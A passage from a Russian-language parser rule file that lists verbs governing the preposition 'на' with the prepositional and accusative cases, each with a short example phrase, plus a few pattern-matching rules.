rus_verbs:поработать{}, // поработать на стройке
rus_verbs:ограбить{}, // ограбить на пустыре
rus_verbs:зарабатывать{}, // зарабатывать на бирже
rus_verbs:преуспеть{}, // преуспеть на ниве искусства
rus_verbs:заерзать{}, // заерзать на стуле
rus_verbs:разъяснить{}, // разъяснить на полях
rus_verbs:отчеканить{}, // отчеканить на медной пластине
rus_verbs:торговать{}, // торговать на рынке
rus_verbs:поколебаться{}, // поколебаться на пороге
rus_verbs:прикинуть{}, // прикинуть на бумажке
rus_verbs:рассечь{}, // рассечь на тупом конце
rus_verbs:посмеяться{}, // посмеяться на переменке
rus_verbs:остыть{}, // остыть на морозном воздухе
rus_verbs:запереться{}, // запереться на чердаке
rus_verbs:обогнать{}, // обогнать на повороте
rus_verbs:подтянуться{}, // подтянуться на турнике
rus_verbs:привозить{}, // привозить на машине
rus_verbs:подбирать{}, // подбирать на полу
rus_verbs:уничтожать{}, // уничтожать на подходе
rus_verbs:притаиться{}, // притаиться на вершине
rus_verbs:плясать{}, // плясать на костях
rus_verbs:поджидать{}, // поджидать на вокзале
rus_verbs:закончить{}, // Мы закончили игру на самом интересном месте (САМ не может быть первым прилагательным в цепочке!)
rus_verbs:смениться{}, // смениться на посту
rus_verbs:посчитать{}, // посчитать на пальцах
rus_verbs:прицелиться{}, // прицелиться на бегу
rus_verbs:нарисовать{}, // нарисовать на стене
rus_verbs:прыгать{}, // прыгать на сцене
rus_verbs:повертеть{}, // повертеть на пальце
rus_verbs:попрощаться{}, // попрощаться на панихиде
инфинитив:просыпаться{ вид:соверш }, глагол:просыпаться{ вид:соверш }, // просыпаться на диване
rus_verbs:разобрать{}, // разобрать на столе
rus_verbs:помереть{}, // помереть на чужбине
rus_verbs:различить{}, // различить на нечеткой фотографии
rus_verbs:рисовать{}, // рисовать на доске
rus_verbs:проследить{}, // проследить на экране
rus_verbs:задремать{}, // задремать на диване
rus_verbs:ругаться{}, // ругаться на людях
rus_verbs:сгореть{}, // сгореть на работе
rus_verbs:зазвучать{}, // зазвучать на коротких волнах
rus_verbs:задохнуться{}, // задохнуться на вершине горы
rus_verbs:порождать{}, // порождать на поверхности небольшую рябь
rus_verbs:отдыхать{}, // отдыхать на курорте
rus_verbs:образовать{}, // образовать на дне толстый слой
rus_verbs:поправиться{}, // поправиться на дармовых харчах
rus_verbs:отмечать{}, // отмечать на календаре
rus_verbs:реять{}, // реять на флагштоке
rus_verbs:ползти{}, // ползти на коленях
rus_verbs:продавать{}, // продавать на аукционе
rus_verbs:сосредоточиться{}, // сосредоточиться на основной задаче
rus_verbs:рыскать{}, // мышки рыскали на кухне
rus_verbs:расстегнуть{}, // расстегнуть на куртке все пуговицы
rus_verbs:напасть{}, // напасть на территории другого государства
rus_verbs:издать{}, // издать на западе
rus_verbs:оставаться{}, // оставаться на страже порядка
rus_verbs:появиться{}, // наконец появиться на экране
rus_verbs:лежать{}, // лежать на столе
rus_verbs:ждать{}, // ждать на берегу
инфинитив:писать{aux stress="пис^ать"}, // писать на бумаге
глагол:писать{aux stress="пис^ать"},
rus_verbs:оказываться{}, // оказываться на полу
rus_verbs:поставить{}, // поставить на столе
rus_verbs:держать{}, // держать на крючке
rus_verbs:выходить{}, // выходить на остановке
rus_verbs:заговорить{}, // заговорить на китайском языке
rus_verbs:ожидать{}, // ожидать на стоянке
rus_verbs:закричать{}, // закричал на минарете муэдзин
rus_verbs:простоять{}, // простоять на посту
rus_verbs:продолжить{}, // продолжить на первом этаже
rus_verbs:ощутить{}, // ощутить на себе влияние кризиса
rus_verbs:состоять{}, // состоять на учете
rus_verbs:готовиться{},
инфинитив:акклиматизироваться{вид:несоверш}, // альпинисты готовятся акклиматизироваться на новой высоте
глагол:акклиматизироваться{вид:несоверш},
rus_verbs:арестовать{}, // грабители были арестованы на месте преступления
rus_verbs:схватить{}, // грабители были схвачены на месте преступления
инфинитив:атаковать{ вид:соверш }, // взвод был атакован на границе
глагол:атаковать{ вид:соверш },
прилагательное:атакованный{ вид:соверш },
прилагательное:атаковавший{ вид:соверш },
rus_verbs:базировать{}, // установка будет базирована на границе
rus_verbs:базироваться{}, // установка базируется на границе
rus_verbs:барахтаться{}, // дети барахтались на мелководье
rus_verbs:браконьерить{}, // Охотники браконьерили ночью на реке
rus_verbs:браконьерствовать{}, // Охотники ночью браконьерствовали на реке
rus_verbs:бренчать{}, // парень что-то бренчал на гитаре
rus_verbs:бренькать{}, // парень что-то бренькает на гитаре
rus_verbs:начать{}, // Рынок акций РФ начал торги на отрицательной территории.
rus_verbs:буксовать{}, // Колеса буксуют на льду
rus_verbs:вертеться{}, // Непоседливый ученик много вертится на стуле
rus_verbs:взвести{}, // Боец взвел на оружии предохранитель
rus_verbs:вилять{}, // Машина сильно виляла на дороге
rus_verbs:висеть{}, // Яблоко висит на ветке
rus_verbs:возлежать{}, // возлежать на лежанке
rus_verbs:подниматься{}, // Мы поднимаемся на лифте
rus_verbs:подняться{}, // Мы поднимемся на лифте
rus_verbs:восседать{}, // Коля восседает на лошади
rus_verbs:воссиять{}, // Луна воссияла на небе
rus_verbs:воцариться{}, // Мир воцарился на всей земле
rus_verbs:воцаряться{}, // Мир воцаряется на всей земле
rus_verbs:вращать{}, // вращать на поясе
rus_verbs:вращаться{}, // вращаться на поясе
rus_verbs:встретить{}, // встретить друга на улице
rus_verbs:встретиться{}, // встретиться на занятиях
rus_verbs:встречать{}, // встречать на занятиях
rus_verbs:въебывать{}, // въебывать на работе
rus_verbs:въезжать{}, // въезжать на автомобиле
rus_verbs:въехать{}, // въехать на автомобиле
rus_verbs:выгорать{}, // ткань выгорает на солнце
rus_verbs:выгореть{}, // ткань выгорела на солнце
rus_verbs:выгравировать{}, // выгравировать на табличке надпись
rus_verbs:выжить{}, // выжить на необитаемом острове
rus_verbs:вылежаться{}, // помидоры вылежались на солнце
rus_verbs:вылеживаться{}, // вылеживаться на солнце
rus_verbs:выместить{}, // выместить на ком-то злобу
rus_verbs:вымещать{}, // вымещать на ком-то свое раздражение
rus_verbs:вымещаться{}, // вымещаться на ком-то
rus_verbs:выращивать{}, // выращивать на грядке помидоры
rus_verbs:выращиваться{}, // выращиваться на грядке
инфинитив:вырезать{вид:соверш}, // вырезать на доске надпись
глагол:вырезать{вид:соверш},
инфинитив:вырезать{вид:несоверш},
глагол:вырезать{вид:несоверш},
rus_verbs:вырисоваться{}, // вырисоваться на графике
rus_verbs:вырисовываться{}, // вырисовываться на графике
rus_verbs:высаживать{}, // высаживать на необитаемом острове
rus_verbs:высаживаться{}, // высаживаться на острове
rus_verbs:высвечивать{}, // высвечивать на дисплее температуру
rus_verbs:высвечиваться{}, // высвечиваться на дисплее
rus_verbs:выстроить{}, // выстроить на фундаменте
rus_verbs:выстроиться{}, // выстроиться на плацу
rus_verbs:выстудить{}, // выстудить на морозе
rus_verbs:выстудиться{}, // выстудиться на морозе
rus_verbs:выстужать{}, // выстужать на морозе
rus_verbs:выстуживать{}, // выстуживать на морозе
rus_verbs:выстуживаться{}, // выстуживаться на морозе
rus_verbs:выстукать{}, // выстукать на клавиатуре
rus_verbs:выстукивать{}, // выстукивать на клавиатуре
rus_verbs:выстукиваться{}, // выстукиваться на клавиатуре
rus_verbs:выступать{}, // выступать на сцене
rus_verbs:выступить{}, // выступить на сцене
rus_verbs:выстучать{}, // выстучать на клавиатуре
rus_verbs:выстывать{}, // выстывать на морозе
rus_verbs:выстыть{}, // выстыть на морозе
rus_verbs:вытатуировать{}, // вытатуировать на руке якорь
rus_verbs:говорить{}, // говорить на повышенных тонах
rus_verbs:заметить{}, // заметить на берегу
rus_verbs:стоять{}, // твёрдо стоять на ногах
rus_verbs:оказаться{}, // оказаться на передовой линии
rus_verbs:почувствовать{}, // почувствовать на своей шкуре
rus_verbs:остановиться{}, // остановиться на первом пункте
rus_verbs:показаться{}, // показаться на горизонте
rus_verbs:чувствовать{}, // чувствовать на своей шкуре
rus_verbs:искать{}, // искать на открытом пространстве
rus_verbs:иметься{}, // иметься на складе
rus_verbs:клясться{}, // клясться на Коране
rus_verbs:прервать{}, // прервать на полуслове
rus_verbs:играть{}, // играть на чувствах
rus_verbs:спуститься{}, // спуститься на парашюте
rus_verbs:понадобиться{}, // понадобиться на экзамене
rus_verbs:служить{}, // служить на флоте
rus_verbs:подобрать{}, // подобрать на улице
rus_verbs:появляться{}, // появляться на сцене
rus_verbs:селить{}, // селить на чердаке
rus_verbs:поймать{}, // поймать на границе
rus_verbs:увидать{}, // увидать на опушке
rus_verbs:подождать{}, // подождать на перроне
rus_verbs:прочесть{}, // прочесть на полях
rus_verbs:тонуть{}, // тонуть на мелководье
rus_verbs:ощущать{}, // ощущать на коже
rus_verbs:отметить{}, // отметить на полях
rus_verbs:показывать{}, // показывать на графике
rus_verbs:разговаривать{}, // разговаривать на иностранном языке
rus_verbs:прочитать{}, // прочитать на сайте
rus_verbs:попробовать{}, // попробовать на практике
rus_verbs:замечать{}, // замечать на коже грязь
rus_verbs:нести{}, // нести на плечах
rus_verbs:носить{}, // носить на голове
rus_verbs:гореть{}, // гореть на работе
rus_verbs:застыть{}, // застыть на пороге
инфинитив:жениться{ вид:соверш }, // жениться на королеве
глагол:жениться{ вид:соверш },
прилагательное:женатый{},
прилагательное:женившийся{},
rus_verbs:спрятать{}, // спрятать на чердаке
rus_verbs:развернуться{}, // развернуться на плацу
rus_verbs:строить{}, // строить на песке
rus_verbs:устроить{}, // устроить на даче тестральный вечер
rus_verbs:настаивать{}, // настаивать на выполнении приказа
rus_verbs:находить{}, // находить на берегу
rus_verbs:мелькнуть{}, // мелькнуть на экране
rus_verbs:очутиться{}, // очутиться на опушке леса
инфинитив:использовать{вид:соверш}, // использовать на работе
глагол:использовать{вид:соверш},
инфинитив:использовать{вид:несоверш},
глагол:использовать{вид:несоверш},
прилагательное:использованный{},
прилагательное:использующий{},
прилагательное:использовавший{},
rus_verbs:лететь{}, // лететь на воздушном шаре
rus_verbs:смеяться{}, // смеяться на сцене
rus_verbs:ездить{}, // ездить на мопеде
rus_verbs:заснуть{}, // заснуть на диване
rus_verbs:застать{}, // застать на рабочем месте
rus_verbs:очнуться{}, // очнуться на больничной койке
rus_verbs:разглядеть{}, // разглядеть на фотографии
rus_verbs:обойти{}, // обойти на вираже
rus_verbs:удержаться{}, // удержаться на троне
rus_verbs:побывать{}, // побывать на другой планете
rus_verbs:заняться{}, // заняться на выходных делом
rus_verbs:вянуть{}, // вянуть на солнце
rus_verbs:постоять{}, // постоять на голове
rus_verbs:приобрести{}, // приобрести на распродаже
rus_verbs:попасться{}, // попасться на краже
rus_verbs:продолжаться{}, // продолжаться на земле
rus_verbs:открывать{}, // открывать на арене
rus_verbs:создавать{}, // создавать на сцене
rus_verbs:обсуждать{}, // обсуждать на кухне
rus_verbs:отыскать{}, // отыскать на полу
rus_verbs:уснуть{}, // уснуть на диване
rus_verbs:задержаться{}, // задержаться на работе
rus_verbs:курить{}, // курить на свежем воздухе
rus_verbs:приподняться{}, // приподняться на локтях
rus_verbs:установить{}, // установить на вершине
rus_verbs:запереть{}, // запереть на балконе
rus_verbs:синеть{}, // синеть на воздухе
rus_verbs:убивать{}, // убивать на нейтральной территории
rus_verbs:скрываться{}, // скрываться на даче
rus_verbs:родить{}, // родить на полу
rus_verbs:описать{}, // описать на страницах книги
rus_verbs:перехватить{}, // перехватить на подлете
rus_verbs:скрывать{}, // скрывать на даче
rus_verbs:сменить{}, // сменить на посту
rus_verbs:мелькать{}, // мелькать на экране
rus_verbs:присутствовать{}, // присутствовать на мероприятии
rus_verbs:украсть{}, // украсть на рынке
rus_verbs:победить{}, // победить на ринге
rus_verbs:упомянуть{}, // упомянуть на страницах романа
rus_verbs:плыть{}, // плыть на старой лодке
rus_verbs:повиснуть{}, // повиснуть на перекладине
rus_verbs:нащупать{}, // нащупать на дне
rus_verbs:затихнуть{}, // затихнуть на дне
rus_verbs:построить{}, // построить на участке
rus_verbs:поддерживать{}, // поддерживать на поверхности
rus_verbs:заработать{}, // заработать на бирже
rus_verbs:провалиться{}, // провалиться на экзамене
rus_verbs:сохранить{}, // сохранить на диске
rus_verbs:располагаться{}, // располагаться на софе
rus_verbs:поклясться{}, // поклясться на библии
rus_verbs:сражаться{}, // сражаться на арене
rus_verbs:спускаться{}, // спускаться на дельтаплане
rus_verbs:уничтожить{}, // уничтожить на подступах
rus_verbs:изучить{}, // изучить на практике
rus_verbs:рождаться{}, // рождаться на праздниках
rus_verbs:прилететь{}, // прилететь на самолете
rus_verbs:догнать{}, // догнать на перекрестке
rus_verbs:изобразить{}, // изобразить на бумаге
rus_verbs:проехать{}, // проехать на тракторе
rus_verbs:приготовить{}, // приготовить на масле
rus_verbs:споткнуться{}, // споткнуться на полу
rus_verbs:собирать{}, // собирать на берегу
rus_verbs:отсутствовать{}, // отсутствовать на тусовке
rus_verbs:приземлиться{}, // приземлиться на военном аэродроме
rus_verbs:сыграть{}, // сыграть на трубе
rus_verbs:прятаться{}, // прятаться на даче
rus_verbs:спрятаться{}, // спрятаться на чердаке
rus_verbs:провозгласить{}, // провозгласить на митинге
rus_verbs:изложить{}, // изложить на бумаге
rus_verbs:использоваться{}, // использоваться на практике
rus_verbs:замяться{}, // замяться на входе
rus_verbs:раздаваться{}, // Крик ягуара раздается на краю болота
rus_verbs:сверкнуть{}, // сверкнуть на солнце
rus_verbs:сверкать{}, // сверкать на свету
rus_verbs:задержать{}, // задержать на митинге
rus_verbs:осечься{}, // осечься на первом слове
rus_verbs:хранить{}, // хранить на банковском счету
rus_verbs:шутить{}, // шутить на уроке
rus_verbs:кружиться{}, // кружиться на балу
rus_verbs:чертить{}, // чертить на доске
rus_verbs:отразиться{}, // отразиться на оценках
rus_verbs:греть{}, // греть на солнце
rus_verbs:рассуждать{}, // рассуждать на страницах своей книги
rus_verbs:окружать{}, // окружать на острове
rus_verbs:сопровождать{}, // сопровождать на охоте
rus_verbs:заканчиваться{}, // заканчиваться на самом интересном месте
rus_verbs:содержаться{}, // содержаться на приусадебном участке
rus_verbs:поселиться{}, // поселиться на даче
rus_verbs:запеть{}, // запеть на сцене
инфинитив:провозить{ вид:несоверш }, // провозить на теле
глагол:провозить{ вид:несоверш },
прилагательное:провезенный{},
прилагательное:провозивший{вид:несоверш},
прилагательное:провозящий{вид:несоверш},
деепричастие:провозя{},
rus_verbs:мочить{}, // мочить на месте
rus_verbs:преследовать{}, // преследовать на территории другого штата
rus_verbs:пролететь{}, // пролетел на параплане
rus_verbs:драться{}, // драться на рапирах
rus_verbs:просидеть{}, // просидеть на занятиях
rus_verbs:убираться{}, // убираться на балконе
rus_verbs:таять{}, // таять на солнце
rus_verbs:проверять{}, // проверять на полиграфе
rus_verbs:убеждать{}, // убеждать на примере
rus_verbs:скользить{}, // скользить на льду
rus_verbs:приобретать{}, // приобретать на распродаже
rus_verbs:летать{}, // летать на метле
rus_verbs:толпиться{}, // толпиться на перроне
rus_verbs:плавать{}, // плавать на надувном матрасе
rus_verbs:описывать{}, // описывать на страницах повести
rus_verbs:пробыть{}, // пробыть на солнце слишком долго
rus_verbs:застрять{}, // застрять на верхнем этаже
rus_verbs:метаться{}, // метаться на полу
rus_verbs:сжечь{}, // сжечь на костре
rus_verbs:расслабиться{}, // расслабиться на кушетке
rus_verbs:услыхать{}, // услыхать на рынке
rus_verbs:удержать{}, // удержать на прежнем уровне
rus_verbs:образоваться{}, // образоваться на дне
rus_verbs:рассмотреть{}, // рассмотреть на поверхности чипа
rus_verbs:уезжать{}, // уезжать на попутке
rus_verbs:похоронить{}, // похоронить на закрытом кладбище
rus_verbs:настоять{}, // настоять на пересмотре оценок
rus_verbs:растянуться{}, // растянуться на горячем песке
rus_verbs:покрутить{}, // покрутить на шесте
rus_verbs:обнаружиться{}, // обнаружиться на болоте
rus_verbs:гулять{}, // гулять на свадьбе
rus_verbs:утонуть{}, // утонуть на курорте
rus_verbs:храниться{}, // храниться на депозите
rus_verbs:танцевать{}, // танцевать на свадьбе
rus_verbs:трудиться{}, // трудиться на заводе
инфинитив:засыпать{переходность:непереходный вид:несоверш}, // засыпать на кровати
глагол:засыпать{переходность:непереходный вид:несоверш},
деепричастие:засыпая{переходность:непереходный вид:несоверш},
прилагательное:засыпавший{переходность:непереходный вид:несоверш},
прилагательное:засыпающий{ вид:несоверш переходность:непереходный }, // ребенок, засыпающий на руках
rus_verbs:сушить{}, // сушить на открытом воздухе
rus_verbs:зашевелиться{}, // зашевелиться на чердаке
rus_verbs:обдумывать{}, // обдумывать на досуге
rus_verbs:докладывать{}, // докладывать на научной конференции
rus_verbs:промелькнуть{}, // промелькнуть на экране
// прилагательное:находящийся{ вид:несоверш }, // колонна, находящаяся на ничейной территории
прилагательное:написанный{}, // слово, написанное на заборе
rus_verbs:умещаться{}, // компьютер, умещающийся на ладони
rus_verbs:открыть{}, // книга, открытая на последней странице
rus_verbs:спать{}, // йог, спящий на гвоздях
rus_verbs:пробуксовывать{}, // колесо, пробуксовывающее на обледенелом асфальте
rus_verbs:забуксовать{}, // колесо, забуксовавшее на обледенелом асфальте
rus_verbs:отобразиться{}, // удивление, отобразившееся на лице
rus_verbs:увидеть{}, // на полу я увидел чьи-то следы
rus_verbs:видеть{}, // на полу я вижу чьи-то следы
rus_verbs:оставить{}, // Мел оставил на доске белый след.
rus_verbs:оставлять{}, // Мел оставляет на доске белый след.
rus_verbs:встречаться{}, // встречаться на лекциях
rus_verbs:познакомиться{}, // познакомиться на занятиях
rus_verbs:устроиться{}, // она устроилась на кровати
rus_verbs:ложиться{}, // ложись на полу
rus_verbs:останавливаться{}, // останавливаться на достигнутом
rus_verbs:спотыкаться{}, // спотыкаться на ровном месте
rus_verbs:распечатать{}, // распечатать на бумаге
rus_verbs:распечатывать{}, // распечатывать на бумаге
rus_verbs:просмотреть{}, // просмотреть на бумаге
rus_verbs:закрепляться{}, // закрепляться на плацдарме
rus_verbs:погреться{}, // погреться на солнышке
rus_verbs:мешать{}, // Он мешал краски на палитре.
rus_verbs:занять{}, // Он занял первое место на соревнованиях.
rus_verbs:заговариваться{}, // Он заговаривался иногда на уроках.
деепричастие:женившись{ вид:соверш },
rus_verbs:везти{}, // Он везёт песок на тачке.
прилагательное:казненный{}, // Он был казнён на электрическом стуле.
rus_verbs:прожить{}, // Он безвыездно прожил всё лето на даче.
rus_verbs:принести{}, // Официантка принесла нам обед на подносе.
rus_verbs:переписать{}, // Перепишите эту рукопись на машинке.
rus_verbs:идти{}, // Поезд идёт на малой скорости.
rus_verbs:петь{}, // птички поют на рассвете
rus_verbs:смотреть{}, // Смотри на обороте.
rus_verbs:прибрать{}, // прибрать на столе
rus_verbs:прибраться{}, // прибраться на столе
rus_verbs:растить{}, // растить капусту на огороде
rus_verbs:тащить{}, // тащить ребенка на руках
rus_verbs:убирать{}, // убирать на столе
rus_verbs:простыть{}, // Я простыл на морозе.
rus_verbs:сиять{}, // ясные звезды мирно сияли на безоблачном весеннем небе.
rus_verbs:проводиться{}, // такие эксперименты не проводятся на воде
rus_verbs:достать{}, // Я не могу достать до яблок на верхних ветках.
rus_verbs:расплыться{}, // Чернила расплылись на плохой бумаге.
rus_verbs:вскочить{}, // У него вскочил прыщ на носу.
rus_verbs:свить{}, // У нас на балконе воробей свил гнездо.
rus_verbs:оторваться{}, // У меня на пальто оторвалась пуговица.
rus_verbs:восходить{}, // Солнце восходит на востоке.
rus_verbs:блестеть{}, // Снег блестит на солнце.
rus_verbs:побить{}, // Рысак побил всех лошадей на скачках.
rus_verbs:литься{}, // Реки крови льются на войне.
rus_verbs:держаться{}, // Ребёнок уже твёрдо держится на ногах.
rus_verbs:клубиться{}, // Пыль клубится на дороге.
инфинитив:написать{ aux stress="напис^ать" }, // Ты должен написать статью на английском языке
глагол:написать{ aux stress="напис^ать" }, // Он написал статью на русском языке.
// глагол:находиться{вид:несоверш}, // мой поезд находится на первом пути
// инфинитив:находиться{вид:несоверш},
rus_verbs:жить{}, // Было интересно жить на курорте.
rus_verbs:повидать{}, // Он много повидал на своём веку.
rus_verbs:разъезжаться{}, // Ноги разъезжаются не только на льду.
rus_verbs:расположиться{}, // Оба села расположились на берегу реки.
rus_verbs:объясняться{}, // Они объясняются на иностранном языке.
rus_verbs:прощаться{}, // Они долго прощались на вокзале.
rus_verbs:работать{}, // Она работает на ткацкой фабрике.
rus_verbs:купить{}, // Она купила молоко на рынке.
rus_verbs:поместиться{}, // Все книги поместились на полке.
глагол:проводить{вид:несоверш}, инфинитив:проводить{вид:несоверш}, // Нужно проводить теорию на практике.
rus_verbs:пожить{}, // Недолго она пожила на свете.
rus_verbs:краснеть{}, // Небо краснеет на закате.
rus_verbs:бывать{}, // На Волге бывает сильное волнение.
rus_verbs:ехать{}, // Мы туда ехали на автобусе.
rus_verbs:провести{}, // Мы провели месяц на даче.
rus_verbs:поздороваться{}, // Мы поздоровались при встрече на улице.
rus_verbs:расти{}, // Арбузы растут теперь не только на юге.
ГЛ_ИНФ(сидеть), // три больших пса сидят на траве
ГЛ_ИНФ(сесть), // три больших пса сели на траву
ГЛ_ИНФ(перевернуться), // На дороге перевернулся автомобиль
ГЛ_ИНФ(повезти), // я повезу тебя на машине
ГЛ_ИНФ(отвезти), // мы отвезем тебя на такси
ГЛ_ИНФ(пить), // пить на кухне чай
ГЛ_ИНФ(найти), // найти на острове
ГЛ_ИНФ(быть), // на этих костях есть следы зубов
ГЛ_ИНФ(высадиться), // помощники высадились на острове
ГЛ_ИНФ(делать),прилагательное:делающий{}, прилагательное:делавший{}, деепричастие:делая{}, // смотрю фильм о том, что пираты делали на необитаемом острове
ГЛ_ИНФ(случиться), // это случилось на опушке леса
ГЛ_ИНФ(продать),
ГЛ_ИНФ(есть) // кошки ели мой корм на песчаном берегу
}
#endregion VerbList
// Чтобы разрешить связывание в паттернах типа: смотреть на youtube
fact гл_предл
{
if context { Гл_НА_Предл предлог:в{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { Гл_НА_Предл предлог:на{} *:*{падеж:предл} }
then return true
}
// локатив
fact гл_предл
{
if context { Гл_НА_Предл предлог:на{} *:*{падеж:мест} }
then return true
}
#endregion ПРЕДЛОЖНЫЙ
#region ВИНИТЕЛЬНЫЙ
// НА+винительный падеж:
// ЗАБИРАТЬСЯ НА ВЕРШИНУ ГОРЫ
#region VerbList
wordentry_set Гл_НА_Вин=
{
rus_verbs:переметнуться{}, // Ее взгляд растерянно переметнулся на Лили.
rus_verbs:отогнать{}, // Водитель отогнал машину на стоянку.
rus_verbs:фапать{}, // Не фапай на желтяк и не перебивай.
rus_verbs:умножить{}, // Умножьте это количество примерно на 10.
//rus_verbs:умножать{},
rus_verbs:откатить{}, // Откатил Шпак валун на шлях и перекрыл им дорогу.
rus_verbs:откатывать{},
rus_verbs:доносить{}, // Вот и побежали на вас доносить.
rus_verbs:донести{},
rus_verbs:разбирать{}, // Ворованные автомобили злоумышленники разбирали на запчасти и продавали.
безлич_глагол:хватит{}, // - На одну атаку хватит.
rus_verbs:скупиться{}, // Он сражался за жизнь, не скупясь на хитрости и усилия, и пока этот стиль давал неплохие результаты.
rus_verbs:поскупиться{}, // Не поскупись на похвалы!
rus_verbs:подыматься{},
rus_verbs:транспортироваться{},
rus_verbs:бахнуть{}, // Бахнуть стакан на пол
rus_verbs:РАЗДЕЛИТЬ{}, // Президентские выборы разделили Венесуэлу на два непримиримых лагеря (РАЗДЕЛИТЬ)
rus_verbs:НАЦЕЛИВАТЬСЯ{}, // Невдалеке пролетел кондор, нацеливаясь на бизонью тушу. (НАЦЕЛИВАТЬСЯ)
rus_verbs:ВЫПЛЕСНУТЬ{}, // Низкий вибрирующий гул напоминал вулкан, вот-вот готовый выплеснуть на земную твердь потоки раскаленной лавы. (ВЫПЛЕСНУТЬ)
rus_verbs:ИСЧЕЗНУТЬ{}, // Оно фыркнуло и исчезло в лесу на другой стороне дороги (ИСЧЕЗНУТЬ)
rus_verbs:ВЫЗВАТЬ{}, // вызвать своего брата на поединок. (ВЫЗВАТЬ)
rus_verbs:ПОБРЫЗГАТЬ{}, // Матрос побрызгал немного фимиама на крошечный огонь (ПОБРЫЗГАТЬ/БРЫЗГАТЬ/БРЫЗНУТЬ/КАПНУТЬ/КАПАТЬ/ПОКАПАТЬ)
rus_verbs:БРЫЗГАТЬ{},
rus_verbs:БРЫЗНУТЬ{},
rus_verbs:КАПНУТЬ{},
rus_verbs:КАПАТЬ{},
rus_verbs:ПОКАПАТЬ{},
rus_verbs:ПООХОТИТЬСЯ{}, // Мы можем когда-нибудь вернуться и поохотиться на него. (ПООХОТИТЬСЯ/ОХОТИТЬСЯ)
rus_verbs:ОХОТИТЬСЯ{}, //
rus_verbs:ПОПАСТЬСЯ{}, // Не думал я, что они попадутся на это (ПОПАСТЬСЯ/НАРВАТЬСЯ/НАТОЛКНУТЬСЯ)
rus_verbs:НАРВАТЬСЯ{}, //
rus_verbs:НАТОЛКНУТЬСЯ{}, //
rus_verbs:ВЫСЛАТЬ{}, // Он выслал разведчиков на большое расстояние от основного отряда. (ВЫСЛАТЬ)
прилагательное:ПОХОЖИЙ{}, // Ты не выглядишь похожим на индейца (ПОХОЖИЙ)
rus_verbs:РАЗОРВАТЬ{}, // Через минуту он был мертв и разорван на части. (РАЗОРВАТЬ)
rus_verbs:СТОЛКНУТЬ{}, // Только быстрыми выпадами копья он сумел столкнуть их обратно на карниз. (СТОЛКНУТЬ/СТАЛКИВАТЬ)
rus_verbs:СТАЛКИВАТЬ{}, //
rus_verbs:СПУСТИТЬ{}, // Я побежал к ним, но они к тому времени спустили лодку на воду (СПУСТИТЬ)
rus_verbs:ПЕРЕБРАСЫВАТЬ{}, // Сирия перебрасывает на юг страны воинские подкрепления (ПЕРЕБРАСЫВАТЬ, ПЕРЕБРОСИТЬ, НАБРАСЫВАТЬ, НАБРОСИТЬ)
rus_verbs:ПЕРЕБРОСИТЬ{}, //
rus_verbs:НАБРАСЫВАТЬ{}, //
rus_verbs:НАБРОСИТЬ{}, //
rus_verbs:СВЕРНУТЬ{}, // Он вывел машину на бульвар и поехал на восток, а затем свернул на юг. (СВЕРНУТЬ/СВОРАЧИВАТЬ/ПОВЕРНУТЬ/ПОВОРАЧИВАТЬ)
rus_verbs:СВОРАЧИВАТЬ{}, // //
rus_verbs:ПОВЕРНУТЬ{}, //
rus_verbs:ПОВОРАЧИВАТЬ{}, //
rus_verbs:наорать{},
rus_verbs:ПРОДВИНУТЬСЯ{}, // Полк продвинется на десятки километров (ПРОДВИНУТЬСЯ)
rus_verbs:БРОСАТЬ{}, // Он бросает обещания на ветер (БРОСАТЬ)
rus_verbs:ОДОЛЖИТЬ{}, // Я вам одолжу книгу на десять дней (ОДОЛЖИТЬ)
rus_verbs:перегнать{}, // Скот нужно перегнать с этого пастбища на другое
rus_verbs:перегонять{},
rus_verbs:выгонять{},
rus_verbs:выгнать{},
rus_verbs:СВОДИТЬСЯ{}, // сейчас панели кузовов расходятся по десяткам покрасочных постов и потом сводятся вновь на общий конвейер (СВОДИТЬСЯ)
rus_verbs:ПОЖЕРТВОВАТЬ{}, // Бывший функционер компартии Эстонии пожертвовал деньги на расследования преступлений коммунизма (ПОЖЕРТВОВАТЬ)
rus_verbs:ПРОВЕРЯТЬ{}, // Школьников будут принудительно проверять на курение (ПРОВЕРЯТЬ)
rus_verbs:ОТПУСТИТЬ{}, // Приставы отпустят должников на отдых (ОТПУСТИТЬ)
rus_verbs:использоваться{}, // имеющийся у государства денежный запас активно используется на поддержание рынка акций
rus_verbs:назначаться{}, // назначаться на пост
rus_verbs:наблюдать{}, // Судья , долго наблюдавший в трубу , вдруг вскричал
rus_verbs:ШПИОНИТЬ{}, // Канадского офицера, шпионившего на Россию, приговорили к 20 годам тюрьмы (ШПИОНИТЬ НА вин)
rus_verbs:ЗАПЛАНИРОВАТЬ{}, // все деньги , запланированные на сейсмоукрепление домов на Камчатке (ЗАПЛАНИРОВАТЬ НА)
// rus_verbs:ПОХОДИТЬ{}, // больше походил на обвинительную речь , адресованную руководству республики (ПОХОДИТЬ НА)
rus_verbs:ДЕЙСТВОВАТЬ{}, // выявленный контрабандный канал действовал на постоянной основе (ДЕЙСТВОВАТЬ НА)
rus_verbs:ПЕРЕДАТЬ{}, // после чего должно быть передано на рассмотрение суда (ПЕРЕДАТЬ НА вин)
rus_verbs:НАЗНАЧИТЬСЯ{}, // Зимой на эту должность пытался назначиться народный депутат (НАЗНАЧИТЬСЯ НА)
rus_verbs:РЕШИТЬСЯ{}, // Франция решилась на одностороннее и рискованное военное вмешательство (РЕШИТЬСЯ НА)
rus_verbs:ОРИЕНТИРОВАТЬ{}, // Этот браузер полностью ориентирован на планшеты и сенсорный ввод (ОРИЕНТИРОВАТЬ НА вин)
rus_verbs:ЗАВЕСТИ{}, // на Витьку завели дело (ЗАВЕСТИ НА)
rus_verbs:ОБРУШИТЬСЯ{}, // В Северной Осетии на воинскую часть обрушилась снежная лавина (ОБРУШИТЬСЯ В, НА)
rus_verbs:НАСТРАИВАТЬСЯ{}, // гетеродин, настраивающийся на волну (НАСТРАИВАТЬСЯ НА)
rus_verbs:СУЩЕСТВОВАТЬ{}, // Он существует на средства родителей. (СУЩЕСТВОВАТЬ НА)
прилагательное:способный{}, // Он способен на убийство. (СПОСОБНЫЙ НА)
rus_verbs:посыпаться{}, // на Нину посыпались снежинки
инфинитив:нарезаться{ вид:несоверш }, // Урожай собирают механически или вручную, стебли нарезаются на куски и быстро транспортируются на перерабатывающий завод.
глагол:нарезаться{ вид:несоверш },
rus_verbs:пожаловать{}, // скандально известный певец пожаловал к нам на передачу
rus_verbs:показать{}, // Вадим показал на Колю
